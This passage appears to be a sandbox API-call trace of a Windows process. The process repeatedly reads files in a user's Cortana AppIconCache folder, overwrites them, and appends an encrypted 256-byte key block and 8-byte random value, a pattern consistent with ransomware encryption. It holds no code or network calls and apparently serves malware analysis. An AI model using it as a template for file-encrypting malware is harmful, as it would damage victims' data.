SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A75F28ED-CBC6-4878-A664-EDD6CA16BC9D}", dwFileAttributes=0x80) returned 1 [0180.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db760 [0180.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.571] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A75F28ED-CBC6-4878-A664-EDD6CA16BC9D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a75f28ed-cbc6-4878-a664-edd6ca16bc9d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.571] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.572] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.584] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.584] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.585] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.585] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.585] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.585] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.588] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.588] CloseHandle (hObject=0x1af4) returned 1 [0180.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.591] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A60A84F5-D627-49A9-A1E6-F2C827E0FA7C}", dwFileAttributes=0x80) returned 1 [0180.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dbd28 [0180.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.592] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A60A84F5-D627-49A9-A1E6-F2C827E0FA7C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a60a84f5-d627-49a9-a1e6-f2c827e0fa7c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.592] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.593] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.594] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.594] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.594] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.594] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.594] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.594] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.594] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.595] CloseHandle (hObject=0x1af4) returned 1 [0180.596] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.596] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.596] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A5B5274B-2050-4F1C-8323-BFC5145BAB10}", dwFileAttributes=0x80) returned 1 [0180.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dce80 [0180.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.596] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A5B5274B-2050-4F1C-8323-BFC5145BAB10}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a5b5274b-2050-4f1c-8323-bfc5145bab10}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.597] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.597] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.598] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.598] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.598] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.598] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.598] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.599] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.599] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.599] CloseHandle (hObject=0x1af4) returned 1 [0180.600] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.600] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.600] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A41AF181-37C6-4951-830B-E343DFC21B27}", dwFileAttributes=0x80) returned 1 [0180.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db888 [0180.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.601] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A41AF181-37C6-4951-830B-E343DFC21B27}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a41af181-37c6-4951-830b-e343dfc21b27}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.602] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.602] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.610] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.611] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.611] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.611] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.611] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.611] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.611] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.611] CloseHandle (hObject=0x1af4) returned 1 [0180.613] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.613] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.613] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A3EC8C71-CFEE-485C-97C8-8CB142566DCC}", dwFileAttributes=0x80) returned 1 [0180.613] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc9e0 [0180.613] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.613] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A3EC8C71-CFEE-485C-97C8-8CB142566DCC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a3ec8c71-cfee-485c-97c8-8cb142566dcc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.614] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.614] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.614] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.614] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.615] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.615] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.615] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.615] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.615] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.616] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.616] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.616] CloseHandle (hObject=0x1af4) returned 1 [0180.617] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.617] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.617] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2F2E6DE-DA49-42DF-BDCF-C458109D79CC}", dwFileAttributes=0x80) returned 1 [0180.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db2c0 [0180.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.618] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2F2E6DE-DA49-42DF-BDCF-C458109D79CC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a2f2e6de-da49-42df-bdcf-c458109d79cc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.618] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.619] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.620] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.620] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.620] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.620] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.620] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.621] CloseHandle (hObject=0x1af4) returned 1 [0180.622] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.622] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.622] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2A05FC2-1616-40B7-B7C0-B4C45BF0FF9E}", dwFileAttributes=0x80) returned 1 [0180.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db760 [0180.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.622] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A2A05FC2-1616-40B7-B7C0-B4C45BF0FF9E}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a2a05fc2-1616-40b7-b7c0-b4c45bf0ff9e}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.623] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.623] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.624] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.624] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.624] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.624] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.624] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.625] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.625] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.625] CloseHandle (hObject=0x1af4) returned 1 [0180.628] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.628] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.628] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A28B03F6-F89D-49BF-9411-8F0574DE8769}", dwFileAttributes=0x80) returned 1 [0180.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db3e8 [0180.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.630] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A28B03F6-F89D-49BF-9411-8F0574DE8769}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a28b03f6-f89d-49bf-9411-8f0574de8769}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.630] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.630] 